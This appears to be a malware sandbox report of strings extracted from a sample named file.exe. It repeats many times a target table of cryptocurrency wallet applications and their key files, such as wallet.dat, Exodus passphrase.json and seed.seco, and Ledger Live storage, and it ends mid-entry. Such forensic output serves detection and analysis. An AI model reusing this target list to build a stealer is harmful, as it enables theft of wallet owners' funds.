Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.jsonM
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.jsonM
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.jsonM
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 